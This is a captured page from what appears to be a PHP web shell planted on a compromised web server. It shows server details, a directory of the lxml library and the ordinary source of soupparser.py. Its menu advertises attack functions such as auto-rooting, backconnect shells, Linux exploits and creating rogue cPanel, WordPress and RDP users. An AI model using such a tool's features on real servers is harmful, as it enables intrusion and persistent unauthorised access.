Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.147.52.243
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
site-packages /
lxml /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
ElementSoup.py
319
B
-rw-r--r--
ElementSoup.pyc
622
B
-rw-r--r--
ElementSoup.pyo
622
B
-rw-r--r--
__init__.py
57.73
KB
-rw-r--r--
__init__.pyc
58.95
KB
-rw-r--r--
__init__.pyo
58.7
KB
-rw-r--r--
_diffcommand.py
2.04
KB
-rw-r--r--
_diffcommand.pyc
2.77
KB
-rw-r--r--
_diffcommand.pyo
2.77
KB
-rw-r--r--
_html5builder.py
3.17
KB
-rw-r--r--
_html5builder.pyc
4.49
KB
-rw-r--r--
_html5builder.pyo
4.49
KB
-rw-r--r--
_setmixin.py
2.43
KB
-rw-r--r--
_setmixin.pyc
5.04
KB
-rw-r--r--
_setmixin.pyo
5.04
KB
-rw-r--r--
builder.py
4.21
KB
-rw-r--r--
builder.pyc
3.83
KB
-rw-r--r--
builder.pyo
3.83
KB
-rw-r--r--
clean.py
25.45
KB
-rw-r--r--
clean.pyc
18.82
KB
-rw-r--r--
clean.pyo
18.73
KB
-rw-r--r--
defs.py
3.71
KB
-rw-r--r--
defs.pyc
3.49
KB
-rw-r--r--
defs.pyo
3.49
KB
-rw-r--r--
diff.py
29.71
KB
-rw-r--r--
diff.pyc
27.72
KB
-rw-r--r--
diff.pyo
27.38
KB
-rw-r--r--
formfill.py
9.49
KB
-rw-r--r--
formfill.pyc
9.59
KB
-rw-r--r--
formfill.pyo
9.34
KB
-rw-r--r--
html5parser.py
6.09
KB
-rw-r--r--
html5parser.pyc
6.49
KB
-rw-r--r--
html5parser.pyo
6.49
KB
-rw-r--r--
soupparser.py
4.26
KB
-rw-r--r--
soupparser.pyc
4.75
KB
-rw-r--r--
soupparser.pyo
4.75
KB
-rw-r--r--
usedoctest.py
249
B
-rw-r--r--
usedoctest.pyc
464
B
-rw-r--r--
usedoctest.pyo
464
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : soupparser.py
__doc__ = """External interface to the BeautifulSoup HTML parser. """ __all__ = ["fromstring", "parse", "convert_tree"] from lxml import etree, html from BeautifulSoup import \ BeautifulSoup, Tag, Comment, ProcessingInstruction, NavigableString def fromstring(data, beautifulsoup=None, makeelement=None, **bsargs): """Parse a string of HTML data into an Element tree using the BeautifulSoup parser. Returns the root ``<html>`` Element of the tree. You can pass a different BeautifulSoup parser through the `beautifulsoup` keyword, and a diffent Element factory function through the `makeelement` keyword. By default, the standard ``BeautifulSoup`` class and the default factory of `lxml.html` are used. """ return _parse(data, beautifulsoup, makeelement, **bsargs) def parse(file, beautifulsoup=None, makeelement=None, **bsargs): """Parse a file into an ElemenTree using the BeautifulSoup parser. You can pass a different BeautifulSoup parser through the `beautifulsoup` keyword, and a diffent Element factory function through the `makeelement` keyword. By default, the standard ``BeautifulSoup`` class and the default factory of `lxml.html` are used. """ if not hasattr(file, 'read'): file = open(file) root = _parse(file, beautifulsoup, makeelement, **bsargs) return etree.ElementTree(root) def convert_tree(beautiful_soup_tree, makeelement=None): """Convert a BeautifulSoup tree to a list of Element trees. Returns a list instead of a single root Element to support HTML-like soup with more than one root element. You can pass a different Element factory through the `makeelement` keyword. """ if makeelement is None: makeelement = html.html_parser.makeelement root = _convert_tree(beautiful_soup_tree, makeelement) children = root.getchildren() for child in children: root.remove(child) return children # helpers def _parse(source, beautifulsoup, makeelement, **bsargs): if beautifulsoup is None: beautifulsoup = BeautifulSoup if makeelement is None: makeelement = html.html_parser.makeelement if 'convertEntities' not in bsargs: bsargs['convertEntities'] = 'html' tree = beautifulsoup(source, **bsargs) root = _convert_tree(tree, makeelement) # from ET: wrap the document in a html root element, if necessary if len(root) == 1 and root[0].tag == "html": return root[0] root.tag = "html" return root def _convert_tree(beautiful_soup_tree, makeelement): root = makeelement(beautiful_soup_tree.name, attrib=dict(beautiful_soup_tree.attrs)) _convert_children(root, beautiful_soup_tree, makeelement) return root def _convert_children(parent, beautiful_soup_tree, makeelement): SubElement = etree.SubElement et_child = None for child in beautiful_soup_tree: if isinstance(child, Tag): et_child = SubElement(parent, child.name, attrib=dict( [(k, unescape(v)) for (k,v) in child.attrs])) _convert_children(et_child, child, makeelement) elif type(child) is NavigableString: _append_text(parent, et_child, unescape(child)) else: if isinstance(child, Comment): parent.append(etree.Comment(child)) elif isinstance(child, ProcessingInstruction): parent.append(etree.ProcessingInstruction( *child.split(' ', 1))) else: # CData _append_text(parent, et_child, unescape(child)) def _append_text(parent, element, text): if element is None: parent.text = (parent.text or '') + text else: element.tail = (element.tail or '') + text # copied from ET's ElementSoup try: from html.entities import name2codepoint # Python 3 except ImportError: from htmlentitydefs import name2codepoint import re handle_entities = re.compile("&(\w+);").sub def unescape(string): if not string: return '' # work around oddities in BeautifulSoup's entity handling def unescape_entity(m): try: return unichr(name2codepoint[m.group(1)]) except KeyError: return m.group(0) # use as is return handle_entities(unescape_entity, string)
Close